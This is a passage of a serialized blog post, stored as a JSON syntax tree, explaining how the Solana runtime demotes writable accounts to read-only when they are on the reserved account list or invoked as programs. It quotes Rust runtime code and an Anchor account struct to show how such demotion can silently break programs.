runs.",{"type":25,"tag":26,"props":87467,"children":87468},{},[87469,87471,87478],{"type":30,"value":87470},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":25,"tag":83,"props":87472,"children":87475},{"href":87473,"rel":87474},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[9066],[87476],{"type":30,"value":87477},"MessageV0",{"type":30,"value":87479},", but legacy is simpler to follow):",{"type":25,"tag":7764,"props":87481,"children":87483},{"className":13586,"code":87482,"language":13585,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n    pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n        let is_writable_account_cache = message\n            .account_keys\n            .iter()\n            .enumerate()\n            .map(|(i, _key)| {\n                message.is_writable_index(i)\n                    && !reserved_account_keys.contains(&message.account_keys[i])\n                    && !message.demote_program_id(i)\n            })\n            .collect::\u003CVec\u003C_>>();\n        Self {\n            message: Cow::Owned(message),\n            is_writable_account_cache,\n        }\n    }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n    self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[87484],{"type":25,"tag":264,"props":87485,"children":87486},{"__ignoreMap":7},[87487,87495,87519,87607,87628,87640,87656,87672,87720,87749,87803,87839,87847,87884,87896,87934,87946,87953,87960,87967,87974,87982,88042,88095],{"type":25,"tag":271,"props":87488,"children":87489},{"class":13593,"line":13594},[87490],{"type":25,"tag":271,"props":87491,"children":87492},{"style":14385},[87493],{"type":30,"value":87494},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":25,"tag":271,"props":87496,"children":87497},{"class":13593,"line":11641},[87498,87502,87507,87511,87515],{"type":25,"tag":271,"props":87499,"children":87500},{"style":14289},[87501],{"type":30,"value":41305},{"type":25,"tag":271,"props":87503,"children":87504},{"style":13609},[87505],{"type":30,"value":87506}," LegacyMessage",{"type":25,"tag":271,"props":87508,"children":87509},{"style":13625},[87510],{"type":30,"value":36022},{"type":25,"tag":271,"props":87512,"children":87513},{"style":13609},[87514],{"type":30,"value":6434},{"type":25,"tag":271,"props":87516,"children":87517},{"style":13625},[87518],{"type":30,"value":20404},{"type":25,"tag":271,"props":87520,"children":87521},{"class":13593,"line":14354},[87522,87526,87530,87534,87538,87542,87546,87551,87555,87560,87564,87569,87573,87577,87582,87586,87590,87594,87598,87603],{"type":25,"tag":271,"props":87523,"children":87524},{"style":14289},[87525],{"type":30,"value":33963},{"type":25,"tag":271,"props":87527,"children":87528},{"style":14289},[87529],{"type":30,"value":14297},{"type":25,"tag":271,"props":87531,"children":87532},{"style":13620},[87533],{"type":30,"value":45045},{"type":25,"tag":271,"props":87535,"children":87536},{"style":13625},[87537],{"type":30,"value":394},{"type":25,"tag":271,"props":87539,"children":87540},{"style":13598},[87541],{"type":30,"value":81151},{"type":25,"tag":271,"props":87543,"children":87544},{"style":13603},[87545],{"type":30,"value":359},{"type":25,"tag":271,"props":87547,"children":87548},{"style":13625},[87549],{"type":30,"value":87550}," legacy",{"type":25,"tag":271,"props":87552,"children":87553},{"style":13603},[87554],{"type":30,"value":13617},{"type":25,"tag":271,"props":87556,"children":87557},{"style":13609},[87558],{"type":30,"value":87559},"Message",{"type":25,"tag":271,"props":87561,"children":87562},{"style":13625},[87563],{"type":30,"value":44},{"type":25,"tag":271,"props":87565,"children":87566},{"style":13598},[87567],{"type":30,"value":87568},"reserved_account_keys",{"type":25,"tag":271,"props":87570,"children":87571},{"style":13603},[87572],{"type":30,"value":359},{"type":25,"tag":271,"props":87574,"children":87575},{"style":13603},[87576],{"type":30,"value":14341},{"type":25,"tag":271,"props":87578,"children":87579},{"style":13609},[87580],{"type":30,"value":87581},"HashSet",{"type":25,"tag":271,"props":87583,"children":87584},{"style":13625},[87585],{"type":30,"value":14307},{"type":25,"tag":271,"props":87587,"children":87588},{"style":13609},[87589],{"type":30,"value":34518},{"type":25,"tag":271,"props":87591,"children":87592},{"style":13625},[87593],{"type":30,"value":33567},{"type":25,"tag":271,"props":87595,"children":87596},{"style":13603},[87597],{"type":30,"value":14411},{"type":25,"tag":271,"props":87599,"children":87600},{"style":14289},[87601],{"type":30,"value":87602}," Self",{"type":25,"tag":271,"props":87604,"children":87605},{"style":13625},[87606],{"type":30,"value":16431},{"type":25,"tag":271,"props":87608,"children":87609},{"class":13593,"line":14391},[87610,87614,87619,87623],{"type":25,"tag":271,"props":87611,"children":87612},{"style":14289},[87613],{"type":30,"value":16208},{"type":25,"tag":271,"props":87615,"children":87616},{"style":13598},[87617],{"type":30,"value":87618}," is_writable_account_cache",{"type":25,"tag":271,"props":87620,"children":87621},{"style":13603},[87622],{"type":30,"value":16155},{"type":25,"tag":271,"props":87624,"children":87625},{"style":13598},[87626],{"type":30,"value":87627}," message\n",{"type":25,"tag":271,"props":87629,"children":87630},{"class":13593,"line":14400},[87631,87635],{"type":25,"tag":271,"props":87632,"children":87633},{"style":13603},[87634],{"type":30,"value":16307},{"type":25,"tag":271,"props":87636,"children":87637},{"style":13625},[87638],{"type":30,"value":87639},"account_keys\n",{"type":25,"tag":271,"props":87641,"children":87642},{"class":13593,"line":16406},[87643,87647,87652],{"type":25,"tag":271,"props":87644,"children":87645},{"style":13603},[87646],{"type":30,"value":16307},{"type":25,"tag":271,"props":87648,"children":87649},{"style":13620},[87650],{"type":30,"value":87651},"iter",{"type":25,"tag":271,"props":87653,"children":87654},{"style":13625},[87655],{"type":30,"value":20857},{"type":25,"tag":271,"props":87657,"children":87658},{"class":13593,"line":16434},[87659,87663,87668],{"type":25,"tag":271,"props":87660,"children":87661},{"style":13603},[87662],{"type":30,"value":16307},{"type":25,"tag":271,"props":87664,"children":87665},{"style":13620},[87666],{"type":30,"value":87667},"enumerate",{"type":25,"tag":271,"props":87669,"children":87670},{"style":13625},[87671],{"type":30,"value":20857},{"type":25,"tag":271,"props":87673,"children":87674},{"class":13593,"line":16447},[87675,87679,87683,87687,87691,87695,87699,87703,87708,87712,87716],{"type":25,"tag":271,"props":87676,"children":87677},{"style":13603},[87678],{"type":30,"value":16307},{"type":25,"tag":271,"props":87680,"children":87681},{"style":13620},[87682],{"type":30,"value":80217},{"type":25,"tag":271,"props":87684,"children":87685},{"style":13625},[87686],{"type":30,"value":394},{"type":25,"tag":271,"props":87688,"children":87689},{"style":13603},[87690],{"type":30,"value":23540},{"type":25,"tag":271,"props":87692,"children":87693},{"style":13625},[87694],{"type":30,"value":394},{"type":25,"tag":271,"props":87696,"children":87697},{"style":13598},[87698],{"type":30,"value":1937},{"type":25,"tag":271,"props":87700,"children":87701},{"style":13625},[87702],{"type":30,"value":44},{"type":25,"tag":271,"props":87704,"children":87705},{"style":13598},[87706],{"type":30,"value":87707},"_key",{"type":25,"tag":271,"props":87709,"children":87710},{"style":13625},[87711],{"type":30,"value":440},{"type":25,"tag":271,"props":87713,"children":87714},{"style":13603},[87715],{"type":30,"value":23540},{"type":25,"tag":271,"props":87717,"children":87718},{"style":13625},[87719],{"type":30,"value":16431},{"type":25,"tag":271,"props":87721,"children":87722},{"class":13593,"line":16465},[87723,87728,87732,87737,87741,87745],{"type":25,"tag":271,"props":87724,"children":87725},{"style":13598},[87726],{"type":30,"value":87727},"                message",{"type":25,"tag":271,"props":87729,"children":87730},{"style":13603},[87731],{"type":30,"value":1860},{"type":25,"tag":271,"props":87733,"children":87734},{"style":13620},[87735],{"type":30,"value":87736},"is_writable_index",{"type":25,"tag":271,"props":87738,"children":87739},{"style":13625},[87740],{"type":30,"value":394},{"type":25,"tag":271,"props":87742,"children":87743},{"style":13598},[87744],{"type":30,"value":1937},{"type":25,"tag":271,"props":87746,"children":87747},{"style":13625},[87748],{"type":30,"value":16299},{"type":25,"tag":271,"props":87750,"children":87751},{"class":13593,"line":16486},[87752,87757,87761,87765,87769,87774,87778,87782,87786,87790,87795,87799],{"type":25,"tag":271,"props":87753,"children":87754},{"style":13603},[87755],{"type":30,"value":87756},"                    &&",{"type":25,"tag":271,"props":87758,"children":87759},{"style":13603},[87760],{"type":30,"value":25989},{"type":25,"tag":271,"props":87762,"children":87763},{"style":13598},[87764],{"type":30,"value":87568},{"type":25,"tag":271,"props":87766,"children":87767},{"style":13603},[87768],{"type":30,"value":1860},{"type":25,"tag":271,"props":87770,"children":87771},{"style":13620},[87772],{"type":30,"value":87773},"contains",{"type":25,"tag":271,"props":87775,"children":87776},{"style":13625},[87777],{"type":30,"value":394},{"type":25,"tag":271,"props":87779,"children":87780},{"style":13603},[87781],{"type":30,"value":13632},{"type":25,"tag":271,"props":87783,"children":87784},{"style":13598},[87785],{"type":30,"value":81151},{"type":25,"tag":271,"props":87787,"children":87788},{"style":13603},[87789],{"type":30,"value":1860},{"type":25,"tag":271,"props":87791,"children":87792},{"style":13625},[87793],{"type":30,"value":87794},"account_keys[",{"type":25,"tag":271,"props":87796,"children":87797},{"style":13598},[87798],{"type":30,"value":1937},{"type":25,"tag":271,"props":87800,"children":87801},{"style":13625},[87802],{"type":30,"value":68557},{"type":25,"tag":271,"props":87804,"children":87805},{"class":13593,"line":16495},[87806,87810,87814,87818,87822,87827,87831,87835],{"type":25,"tag":271,"props":87807,"children":87808},{"style":13603},[87809],{"type":30,"value":87756},{"type":25,"tag":271,"props":87811,"children":87812},{"style":13603},[87813],{"type":30,"value":25989},{"type":25,"tag":271,"props":87815,"children":87816},{"style":13598},[87817],{"type":30,"value":81151},{"type":25,"tag":271,"props":87819,"children":87820},{"style":13603},[87821],{"type":30,"value":1860},{"type":25,"tag":271,"props":87823,"children":87824},{"style":13620},[87825],{"type":30,"value":87826},"demote_program_id",{"type":25,"tag":271,"props":87828,"children":87829},{"style":13625},[87830],{"type":30,"value":394},{"type":25,"tag":271,"props":87832,"children":87833},{"style":13598},[87834],{"type":30,"value":1937},{"type":25,"tag":271,"props":87836,"children":87837},{"style":13625},[87838],{"type":30,"value":16299},{"type":25,"tag":271,"props":87840,"children":87841},{"class":13593,"line":16744},[87842],{"type":25,"tag":271,"props":87843,"children":87844},{"style":13625},[87845],{"type":30,"value":87846},"            })\n",{"type":25,"tag":271,"props":87848,"children":87849},{"class":13593,"line":16761},[87850,87854,87859,87863,87867,87871,87875,87879],{"type":25,"tag":271,"props":87851,"children":87852},{"style":13603},[87853],{"type":30,"value":16307},{"type":25,"tag":271,"props":87855,"children":87856},{"style":13620},[87857],{"type":30,"value":87858},"collect",{"type":25,"tag":271,"props":87860,"children":87861},{"style":13603},[87862],{"type":30,"value":13617},{"type":25,"tag":271,"props":87864,"children":87865},{"style":13625},[87866],{"type":30,"value":14307},{"type":25,"tag":271,"props":87868,"children":87869},{"style":13609},[87870],{"type":30,"value":30333},{"type":25,"tag":271,"props":87872,"children":87873},{"style":13625},[87874],{"type":30,"value":14307},{"type":25,"tag":271,"props":87876,"children":87877},{"style":13598},[87878],{"type":30,"value":6434},{"type":25,"tag":271,"props":87880,"children":87881},{"style":13625},[87882],{"type":30,"value":87883},">>();\n",{"type":25,"tag":271,"props":87885,"children":87886},{"class":13593,"line":16778},[87887,87892],{"type":25,"tag":271,"props":87888,"children":87889},{"style":14289},[87890],{"type":30,"value":87891},"        Self",{"type":25,"tag":271,"props":87893,"children":87894},{"style":13625},[87895],{"type":30,"value":16431},{"type":25,"tag":271,"props":87897,"children":87898},{"class":13593,"line":16791},[87899,87904,87908,87913,87917,87922,87926,87930],{"type":25,"tag":271,"props":87900,"children":87901},{"style":13598},[87902],{"type":30,"value":87903},"            message",{"type":25,"tag":271,"props":87905,"children":87906},{"style":13603},[87907],{"type":30,"value":359},{"type":25,"tag":271,"props":87909,"children":87910},{"style":13609},[87911],{"type":30,"value":87912}," Cow",{"type":25,"tag":271,"props":87914,"children":87915},{"style":13603},[87916],{"type":30,"value":13617},{"type":25,"tag":271,"props":87918,"children":87919},{"style":13620},[87920],{"type":30,"value":87921},"Owned",{"type":25,"tag":271,"props":87923,"children":87924},{"style":13625},[87925],{"type":30,"value":394},{"type":25,"tag":271,"props":87927,"children":87928},{"style":13598},[87929],{"type":30,"value":81151},{"type":25,"tag":271,"props":87931,"children":87932},{"style":13625},[87933],{"type":30,"value":19860},{"type":25,"tag":271,"props":87935,"children":87936},{"class":13593,"line":16800},[87937,87942],{"type":25,"tag":271,"props":87938,"children":87939},{"style":13598},[87940],{"type":30,"value":87941},"            is_writable_account_cache",{"type":25,"tag":271,"props":87943,"children":87944},{"style":13625},[87945],{"type":30,"value":14351},{"type":25,"tag":271,"props":87947,"children":87948},{"class":13593,"line":16823},[87949],{"type":25,"tag":271,"props":87950,"children":87951},{"style":13625},[87952],{"type":30,"value":16492},{"type":25,"tag":271,"props":87954,"children":87955},{"class":13593,"line":16832},[87956],{"type":25,"tag":271,"props":87957,"children":87958},{"style":13625},[87959],{"type":30,"value":16501},{"type":25,"tag":271,"props":87961,"children":87962},{"class":13593,"line":16841},[87963],{"type":25,"tag":271,"props":87964,"children":87965},{"style":13625},[87966],{"type":30,"value":17058},{"type":25,"tag":271,"props":87968,"children":87969},{"class":13593,"line":16907},[87970],{"type":25,"tag":271,"props":87971,"children":87972},{"emptyLinePlaceholder":18},[87973],{"type":30,"value":16829},{"type":25,"tag":271,"props":87975,"children":87976},{"class":13593,"line":16915},[87977],{"type":25,"tag":271,"props":87978,"children":87979},{"style":14385},[87980],{"type":30,"value":87981},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":25,"tag":271,"props":87983,"children":87984},{"class":13593,"line":16945},[87985,87989,87993,87998,88002,88006,88010,88014,88018,88022,88026,88030,88034,88038],{"type":25,"tag":271,"props":87986,"children":87987},{"style":14289},[87988],{"type":30,"value":14292},{"type":25,"tag":271,"props":87990,"children":87991},{"style":14289},[87992],{"type":30,"value":14297},{"type":25,"tag":271,"props":87994,"children":87995},{"style":13620},[87996],{"type":30,"value":87997}," demote_program_id",{"type":25,"tag":271,"props":87999,"children":88000},{"style":13625},[88001],{"type":30,"value":394},{"type":25,"tag":271,"props":88003,"children":88004},{"style":13603},[88005],{"type":30,"value":13632},{"type":25,"tag":271,"props":88007,"children":88008},{"style":14289},[88009],{"type":30,"value":26836},{"type":25,"tag":271,"props":88011,"children":88012},{"style":13625},[88013],{"type":30,"value":44},{"type":25,"tag":271,"props":88015,"children":88016},{"style":13598},[88017],{"type":30,"value":1937},{"type":25,"tag":271,"props":88019,"children":88020},{"style":13603},[88021],{"type":30,"value":359},{"type":25,"tag":271,"props":88023,"children":88024},{"style":13609},[88025],{"type":30,"value":26854},{"type":25,"tag":271,"props":88027,"children":88028},{"style":13625},[88029],{"type":30,"value":14406},{"type":25,"tag":271,"props":88031,"children":88032},{"style":13603},[88033],{"type":30,"value":14411},{"type":25,"tag":271,"props":88035,"children":88036},{"style":13609},[88037],{"type":30,"value":25175},{"type":25,"tag":271,"props":88039,"children":88040},{"style":13625},[88041],{"type":30,"value":16431},{"type":25,"tag":271,"props":88043,"children":88044},{"class":13593,"line":16953},[88045,88049,88053,88058,88062,88066,88070,88074,88078,88082,88086,88091],{"type":25,"tag":271,"props":88046,"children":88047},{"style":14289},[88048],{"type":30,"value":33906},{"type":25,"tag":271,"props":88050,"children":88051},{"style":13603},[88052],{"type":30,"value":1860},{"type":25,"tag":271,"props":88054,"children":88055},{"style":13620},[88056],{"type":30,"value":88057},"is_key_called_as_program",{"type":25,"tag":271,"props":88059,"children":88060},{"style":13625},[88061],{"type":30,"value":394},{"type":25,"tag":271,"props":88063,"children":88064},{"style":13598},[88065],{"type":30,"value":1937},{"type":25,"tag":271,"props":88067,"children":88068},{"style":13625},[88069],{"type":30,"value":14406},{"type":25,"tag":271,"props":88071,"children":88072},{"style":13603},[88073],{"type":30,"value":86311},{"type":25,"tag":271,"props":88075,"children":88076},{"style":13603},[88077],{"type":30,"value":25989},{"type":25,"tag":271,"props":88079,"children":88080},{"style":14289},[88081],{"type":30,"value":26836},{"type":25,"tag":271,"props":88083,"children":88084},{"style":13603},[88085],{"type":30,"value":1860},{"type":25,"tag":271,"props":88087,"children":88088},{"style":13620},[88089],{"type":30,"value":88090},"is_upgradeable_loader_present",{"type":25,"tag":271,"props":88092,"children":88093},{"style":13625},[88094],{"type":30,"value":20857},{"type":25,"tag":271,"props":88096,"children":88097},{"class":13593,"line":16984},[88098],{"type":25,"tag":271,"props":88099,"children":88100},{"style":13625},[88101],{"type":30,"value":17058},{"type":25,"tag":26,"props":88103,"children":88104},{},[88105],{"type":30,"value":88106},"As you can see, there are two main causes of write-demotion:",{"type":25,"tag":661,"props":88108,"children":88109},{},[88110,88122],{"type":25,"tag":112,"props":88111,"children":88112},{},[88113,88115],{"type":30,"value":88114},"The account appears in the ",{"type":25,"tag":83,"props":88116,"children":88119},{"href":88117,"rel":88118},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[9066],[88120],{"type":30,"value":88121},"reserved account list",{"type":25,"tag":112,"props":88123,"children":88124},{},[88125],{"type":30,"value":88126},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":25,"tag":26,"props":88128,"children":88129},{},[88130],{"type":30,"value":88131},"The second case is generally covered by the executable check implemented previously.",{"type":25,"tag":26,"props":88133,"children":88134},{},[88135],{"type":30,"value":88136},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":25,"tag":2352,"props":88138,"children":88140},{"id":88139},"the-reserved-account-list",[88141],{"type":30,"value":88142},"The Reserved Account List",{"type":25,"tag":26,"props":88144,"children":88145},{},[88146,88148,88153],{"type":30,"value":88147},"The Solana runtime maintains a ",{"type":25,"tag":83,"props":88149,"children":88151},{"href":88117,"rel":88150},[9066],[88152],{"type":30,"value":88121},{"type":30,"value":88154},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":25,"tag":26,"props":88156,"children":88157},{},[88158,88160,88167,88169,88174],{"type":30,"value":88159},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":25,"tag":83,"props":88161,"children":88164},{"href":88162,"rel":88163},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[9066],[88165],{"type":30,"value":88166},"feature gate is actived",{"type":30,"value":88168},", the runtime will ",{"type":25,"tag":38,"props":88170,"children":88171},{},[88172],{"type":30,"value":88173},"automatically demote them to read-only",{"type":30,"value":88175},", even if the transaction marked them as writable.",{"type":25,"tag":7764,"props":88177,"children":88179},{"className":13586,"code":88178,"language":13585,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n    let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n    reserved_keys.update_active_set(&self.feature_set);\n    Arc::new(reserved_keys)\n};\n",[88180],{"type":25,"tag":264,"props":88181,"children":88182},{"__ignoreMap":7},[88183,88191,88199,88223,88277,88315,88344],{"type":25,"tag":271,"props":88184,"children":88185},{"class":13593,"line":13594},[88186],{"type":25,"tag":271,"props":88187,"children":88188},{"style":14385},[88189],{"type":30,"value":88190},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":25,"tag":271,"props":88192,"children":88193},{"class":13593,"line":11641},[88194],{"type":25,"tag":271,"props":88195,"children":88196},{"style":14385},[88197],{"type":30,"value":88198},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":25,"tag":271,"props":88200,"children":88201},{"class":13593,"line":14354},[88202,88206,88210,88215,88219],{"type":25,"tag":271,"props":88203,"children":88204},{"style":14289},[88205],{"type":30,"value":26836},{"type":25,"tag":271,"props":88207,"children":88208},{"style":13603},[88209],{"type":30,"value":1860},{"type":25,"tag":271,"props":88211,"children":88212},{"style":13625},[88213],{"type":30,"value":88214},"reserved_account_keys ",{"type":25,"tag":271,"props":88216,"children":88217},{"style":13603},[88218],{"type":30,"value":1065},{"type":25,"tag":271,"props":88220,"children":88221},{"style":13625},[88222],{"type":30,"value":16431},{"type":25,"tag":271,"props":88224,"children":88225},{"class":13593,"line":14391},[88226,88230,88234,88239,88243,88248,88252,88256,88260,88264,88268,88272],{"type":25,"tag":271,"props":88227,"children":88228},{"style":14289},[88229],{"type":30,"value":16140},{"type":25,"tag":271,"props":88231,"children":88232},{"style":14289},[88233],{"type":30,"value":16145},{"type":25,"tag":271,"props":88235,"children":88236},{"style":13598},[88237],{"type":30,"value":88238}," reserved_keys",{"type":25,"tag":271,"props":88240,"children":88241},{"style":13603},[88242],{"type":30,"value":16155},{"type":25,"tag":271,"props":88244,"children":88245},{"style":13609},[88246],{"type":30,"value":88247}," ReservedAccountKeys",{"type":25,"tag":271,"props":88249,"children":88250},{"style":13603},[88251],{"type":30,"value":13617},{"type":25,"tag":271,"props":88253,"children":88254},{"style":13620},[88255],{"type":30,"value":28541},{"type":25,"tag":271,"props":88257,"children":88258},{"style":13625},[88259],{"type":30,"value":394},{"type":25,"tag":271,"props":88261,"children":88262},{"style":13603},[88263],{"type":30,"value":13632},{"type":25,"tag":271,"props":88265,"children":88266},{"style":14289},[88267],{"type":30,"value":26836},{"type":25,"tag":271,"props":88269,"children":88270},{"style":13603},[88271],{"type":30,"value":1860},{"type":25,"tag":271,"props":88273,"children":88274},{"style":13625},[88275],{"type":30,"value":88276},"reserved_account_keys);\n",{"type":25,"tag":271,"props":88278,"children":88279},{"class":13593,"line":14400},[88280,88285,88289,88294,88298,88302,88306,88310],{"type":25,"tag":271,"props":88281,"children":88282},{"style":13598},[88283],{"type":30,"value":88284},"    reserved_keys",{"type":25,"tag":271,"props":88286,"children":88287},{"style":13603},[88288],{"type":30,"value":1860},{"type":25,"tag":271,"props":88290,"children":88291},{"style":13620},[88292],{"type":30,"value":88293},"update_active_set",{"type":25,"tag":271,"props":88295,"children":88296},{"style":13625},[88297],{"type":30,"value":394},{"type":25,"tag":271,"props":88299,"children":88300},{"style":13603},[88301],{"type":30,"value":13632},{"type":25,"tag":271,"props":88303,"children":88304},{"style":14289},[88305],{"type":30,"value":26836},{"type":25,"tag":271,"props":88307,"children":88308},{"style":13603},[88309],{"type":30,"value":1860},{"type":25,"tag":271,"props":88311,"children":88312},{"style":13625},[88313],{"type":30,"value":88314},"feature_set);\n",{"type":25,"tag":271,"props":88316,"children":88317},{"class":13593,"line":16406},[88318,88323,88327,88331,88335,88340],{"type":25,"tag":271,"props":88319,"children":88320},{"style":13609},[88321],{"type":30,"value":88322},"    Arc",{"type":25,"tag":271,"props":88324,"children":88325},{"style":13603},[88326],{"type":30,"value":13617},{"type":25,"tag":271,"props":88328,"children":88329},{"style":13620},[88330],{"type":30,"value":28244},{"type":25,"tag":271,"props":88332,"children":88333},{"style":13625},[88334],{"type":30,"value":394},{"type":25,"tag":271,"props":88336,"children":88337},{"style":13598},[88338],{"type":30,"value":88339},"reserved_keys",{"type":25,"tag":271,"props":88341,"children":88342},{"style":13625},[88343],{"type":30,"value":16299},{"type":25,"tag":271,"props":88345,"children":88346},{"class":13593,"line":16434},[88347],{"type":25,"tag":271,"props":88348,"children":88349},{"style":13625},[88350],{"type":30,"value":29700},{"type":25,"tag":2352,"props":88352,"children":88354},{"id":88353},"consequences-silent-failures-and-bricked-programs",[88355],{"type":30,"value":88356},"Consequences: Silent Failures and Bricked Programs",{"type":25,"tag":26,"props":88358,"children":88359},{},[88360],{"type":30,"value":88361},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":25,"tag":7764,"props":88363,"children":88365},{"className":13586,"code":88364,"language":13585,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n",[88366],{"type":25,"tag":264,"props":88367,"children":88368},{"__ignoreMap":7},[88369,88384,88411,88426,88465,88472,88519,88550,88557,88572,88603,88610,88625,88656],{"type":25,"tag":271,"props":88370,"children":88371},{"class":13593,"line":13594},[88372,88376,88380],{"type":25,"tag":271,"props":88373,"children":88374},{"style":13625},[88375],{"type":30,"value":35937},{"type":25,"tag":271,"props":88377,"children":88378},{"style":13609},[88379],{"type":30,"value":35942},{"type":25,"tag":271,"props":88381,"children":88382},{"style":13625},[88383],{"type":30,"value":33379},{"type":25,"tag":271,"props":88385,"children":88386},{"class":13593,"line":11641},[88387,88391,88395,88399,88403,88407],{"type":25,"tag":271,"props":88388,"children":88389},{"style":14289},[88390],{"type":30,"value":14292},{"type":25,"tag":271,"props":88392,"children":88393},{"style":14289},[88394],{"type":30,"value":34271},{"type":25,"tag":271,"props":88396,"children":88397},{"style":13609},[88398],{"type":30,"value":84424},{"type":25,"tag":271,"props":88400,"children":88401},{"style":13625},[88402],{"type":30,"value":36022},{"type":25,"tag":271,"props":88404,"children":88405},{"style":13609},[88406],{"type":30,"value":36027},{"type":25,"tag":271,"props":88408,"children":88409},{"style":13625},[88410],{"type":30,"value":20404},{"type":25,"tag":271,"props":88412,"children":88413},{"class":13593,"line":14354},[88414,88418,88422],{"type":25,"tag":271,"props":88415,"children":88416},{"style":13625},[88417],{"type":30,"value":36229},{"type":25,"tag":271,"props":88419,"children":88420},{"style":14289},[88421],{"type":30,"value":16877},{"type":25,"tag":271,"props":88423,"children":88424},{"style":13625},[88425],{"type":30,"value":33379},{"type":25,"tag":271,"props":88427,"children":88428},{"class":13593,"line":14391},[88429,88433,88437,88441,88445,88449,88453,88457,88461],{"type":25,"tag":271,"props":88430,"children":88431},{"style":14289},[88432],{"type":30,"value":33963},{"type":25,"tag":271,"props":88434,"children":88435},{"style":13598},[88436],{"type":30,"value":84463},{"type":25,"tag":271,"props":88438,"children":88439},{"style":13603},[88440],{"type":30,"value":359},{"type":25,"tag":271,"props":88442,"children":88443},{"style":13609},[88444],{"type":30,"value":36194},{"type":25,"tag":271,"props":88446,"children":88447},{"style":13625},[88448],{"type":30,"value":36022},{"type":25,"tag":271,"props":88450,"children":88451},{"style":13609},[88452],{"type":30,"value":36027},{"type":25,"tag":271,"props":88454,"children":88455},{"style":13625},[88456],{"type":30,"value":44},{"type":25,"tag":271,"props":88458,"children":88459},{"style":13609},[88460],{"type":30,"value":84488},{"type":25,"tag":271,"props":88462,"children":88463},{"style":13625},[88464],{"type":30,"value":19267},{"type":25,"tag":271,"props":88466,"children":88467},{"class":13593,"line":14400},[88468],{"type":25,"tag":271,"props":88469,"children":88470},{"emptyLinePlaceholder":18},[88471],{"type":30,"value":16829},{"type":25,"tag":271,"props":88473,"children":88474},{"class":13593,"line":16406},[88475,88479,88483,88487,88491,88495,88499,88503,88507,88511,88515],{"type":25,"tag":271,"props":88476,"children":88477},{"style":13625},[88478],{"type":30,"value":36229},{"type":25,"tag":271,"props":88480,"children":88481},{"style":14289},[88482],{"type":30,"value":16877},{"type":25,"tag":271,"props":88484,"children":88485},{"style":13625},[88486],{"type":30,"value":84523},{"type":25,"tag":271,"props":88488,"children":88489},{"style":13603},[88490],{"type":30,"value":1065},{"type":25,"tag":271,"props":88492,"children":88493},{"style":13625},[88494],{"type":30,"value":84532},{"type":25,"tag":271,"props":88496,"children":88497},{"style":13603},[88498],{"type":30,"value":1860},{"type":25,"tag":271,"props":88500,"children":88501},{"style":13625},[88502],{"type":30,"value":84541},{"type":25,"tag":271,"props":88504,"children":88505},{"style":13603},[88506],{"type":30,"value":21696},{"type":25,"tag":271,"props":88508,"children":88509},{"style":13625},[88510],{"type":30,"value":84463},{"type":25,"tag":271,"props":88512,"children":88513},{"style":13603},[88514],{"type":30,"value":1860},{"type":25,"tag":271,"props":88516,"children":88517},{"style":13625},[88518],{"type":30,"value":84558},{"type":25,"tag":271,"props":88520,"children":88521},{"class":13593,"line":16434},[88522,88526,88530,88534,88538,88542,88546],{"type":25,"tag":271,"props":88523,"children":88524},{"style":14289},[88525],{"type":30,"value":33963},{"type":25,"tag":271,"props":88527,"children":88528},{"style":13598},[88529],{"type":30,"value":84532},{"type":25,"tag":271,"props":88531,"children":88532},{"style":13603},[88533],{"type":30,"value":359},{"type":25,"tag":271,"props":88535,"children":88536},{"style":13609},[88537],{"type":30,"value":38508},{"type":25,"tag":271,"props":88539,"children":88540},{"style":13625},[88541],{"type":30,"value":36022},{"type":25,"tag":271,"props":88543,"children":88544},{"style":13609},[88545],{"type":30,"value":36027},{"type":25,"tag":271,"props":88547,"children":88548},{"style":13625},[88549],{"type":30,"value":19267},{"type":25,"tag":271,"props":88551,"children":88552},{"class":13593,"line":16447},[88553],{"type":25,"tag":271,"props":88554,"children":88555},{"emptyLinePlaceholder":18},[88556],{"type":30,"value":16829},{"type":25,"tag":271,"props":88558,"children":88559},{"class":13593,"line":16465},[88560,88564,88568],{"type":25,"tag":271,"props":88561,"children":88562},{"style":13625},[88563],{"type":30,"value":36229},{"type":25,"tag":271,"props":88565,"children":88566},{"style":14289},[88567],{"type":30,"value":16877},{"type":25,"tag":271,"props":88569,"children":88570},{"style":13625},[88571],{"type":30,"value":33379},{"type":25,"tag":271,"props":88573,"children":88574},{"cla